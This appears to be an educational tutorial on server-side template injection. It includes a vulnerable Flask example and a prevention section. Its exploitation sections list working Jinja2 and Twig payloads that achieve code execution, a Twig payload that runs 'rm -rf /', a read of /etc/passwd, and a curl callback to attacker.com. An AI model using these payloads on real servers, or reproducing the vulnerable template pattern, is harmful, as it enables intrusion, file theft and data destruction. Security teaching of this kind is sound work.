Server Site Template Injection

Server-Side Template Injection (SSTI)

Introduction

Server-Side Template Injection (SSTI) is a critical web vulnerability that occurs when an attacker can inject malicious template directives into user inputs that are processed by a server-side templating engine. This vulnerability can lead to remote code execution (RCE), information disclosure, and server compromise.

How Templating Engines Work

Templating engines allow developers to create dynamic web pages by:

  1. Combining static content (HTML) with dynamic data

  2. Using special syntax to insert variables, loops, and conditionals

  3. Processing these templates on the server before sending to clients

Common templating engines include:

  • Jinja2 (Python)

  • Twig (PHP)

  • Freemarker/Velocity (Java)

  • Handlebars/Mustache (JavaScript)

  • ERB/Haml (Ruby)

SSTI Vulnerability Mechanism

SSTI occurs when:

  1. User input is directly embedded into a template without proper sanitization

  2. The templating engine interprets injected template syntax

  3. The server executes the malicious template code

Basic Example

Consider this vulnerable Python Flask code using Jinja2:

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/vulnerable')
def vulnerable():
    name = request.args.get('name', 'Guest')
    template = f"<h1>Hello {name}!</h1>"
    return render_template_string(template)

A normal request: GET /vulnerable?name=John renders "Hello John!"

An exploited request: GET /vulnerable?name={{7*7}} renders "Hello 49!" demonstrating template evaluation.

Exploitation Techniques

1. Identifying the Template Engine

Different engines use different syntax. Test with these payloads:

${7*7}       # Freemarker, Velocity
{{7*7}}      # Jinja2, Twig
#{7*7}       # Thymeleaf
<%= 7*7 %>   # ERB (Ruby)

2. Accessing Built-in Objects/Methods

Most templating engines expose internal objects:

  • Jinja2:

    {{ ''.__class__.__mro__[1].__subclasses__() }}
  • Twig (PHP):

    {{_self.env.registerUndefinedFilterCallback("exec")}}
    {{_self.env.getFilter("id")}}

3. Remote Code Execution

After identifying the engine, escalate to RCE:

Jinja2 (Python):

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

Twig (PHP):

{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("rm -rf /")}}

4. File System Access

Read sensitive files:

{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}

Advanced Exploitation

Sandbox Escape

Some engines implement sandboxing. Bypass techniques include:

  1. Attribute traversal: Access hidden attributes/properties

  2. Object chaining: Chain method calls to reach dangerous functions

  3. Global variables: Access through __globals__ or similar

Blind SSTI

When results aren't visible, use:

  • Time delays: {{ sleep(5) }}

  • DNS/HTTP callbacks: {{ os.popen('curl http://attacker.com') }}

  • Error-based detection

Prevention

  1. Input Validation/Sanitization:

    • Treat all user input as untrusted

    • Whitelist allowed characters

  2. Sandboxing:

    • Use template engine sandbox features

    • Restrict access to dangerous functions

  3. Context-Aware Escaping:

    • Auto-escape variables based on context (HTML, JS, CSS)

  4. Secure Development Practices:

    • Avoid dynamic template generation

    • Use static templates with variable interpolation

  5. Security Headers:

    • Implement Content Security Policy (CSP)

Detection Tools

  • tplmap: Automated SSTI exploitation tool

  • Burp Suite Scanner: Can detect basic SSTI

  • Custom fuzzing: With template syntax payloads

Real-World Examples

  1. Shopify (2016): SSTI in email templates led to RCE

  2. Algolia (2017): SSTI in search templates exposed API keys

  3. Uber (2016): Jinja2 SSTI via Flask template injection

References

  1. PortSwigger Research: Server-Side Template Injection

  2. HackTricks: SSTI

Last updated